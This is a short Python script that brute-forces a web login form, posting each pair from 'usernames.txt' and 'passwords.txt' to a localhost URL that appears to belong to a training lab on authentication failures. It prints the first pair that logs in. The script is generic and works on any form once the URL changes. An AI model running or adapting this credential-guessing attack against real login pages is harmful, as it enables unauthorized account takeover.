import requests

def brute_force(usernames, passwords, url):
	for username in usernames:
		for password in passwords:
			credentials = {
				"username":username,
				"password":password		
			}

			req = requests.post(url, credentials)

			if req.text.find("Wrong Credentials") == -1:
				print("Login Successful")
				return username, password
			else:
				print("Login Failed")

def main():
	with open('usernames.txt') as f:
		usernames = f.read().splitlines()

	with open('passwords.txt') as f:
		passwords = f.read().splitlines()

	url = "http://127.0.0.1:8000/problems/identification_authentication_failures/example"

	username, password = brute_force(usernames, passwords, url)
	print("\nCredentials:", "\nUsername: ", username, "\nPassword: ",password)

if __name__ == "__main__":
	main()